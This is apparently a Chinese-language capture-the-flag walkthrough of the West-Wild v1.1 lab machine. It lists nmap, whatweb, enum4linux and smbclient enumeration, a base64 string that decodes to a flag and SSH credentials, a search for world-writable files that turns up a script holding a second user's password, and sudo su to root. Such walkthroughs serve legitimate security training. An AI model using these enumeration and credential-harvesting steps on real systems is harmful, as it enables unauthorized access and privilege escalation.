West-Wild-v1.1

一、主机发现

靶机开机有显示

nmap扫描

二、信息收集

1.敏感信息扫描

whatweb http://192.168.7.253

2.访问首页

3.查找共享文件夹

enum4linux 192.168.7.253

1）访问共享文件，空密码连接成功

smbclient //192.168.7.253/wave

2）ls查看有哪些文件

3）下载

4）在本地当前目录查看

RmxhZzF7V2VsY29tZV9UMF9USEUtVzNTVC1XMUxELUIwcmRlcn0KdXNlcjp3YXZleApwYXNzd29yZDpkb29yK29wZW4K

三、信息利用

1.使用base64解码，得到用户和密码wavex：door+open

2.ssh连接尝试，连接成功

ssh wavex@192.168.7.253

四、权限提升

1.sudo -l查看执行权限，无法查看

2.查看有没有可写目录

find / -perm -0777 -type f  2>/dev/null

查看文件

cat  /usr/share/av/westsidesecret/ififoregt.sh

得到用户和密码

aveng
kaizen+80

切换用户

sudo -l 查看执行权限，全可以

直接sudo su，提权成功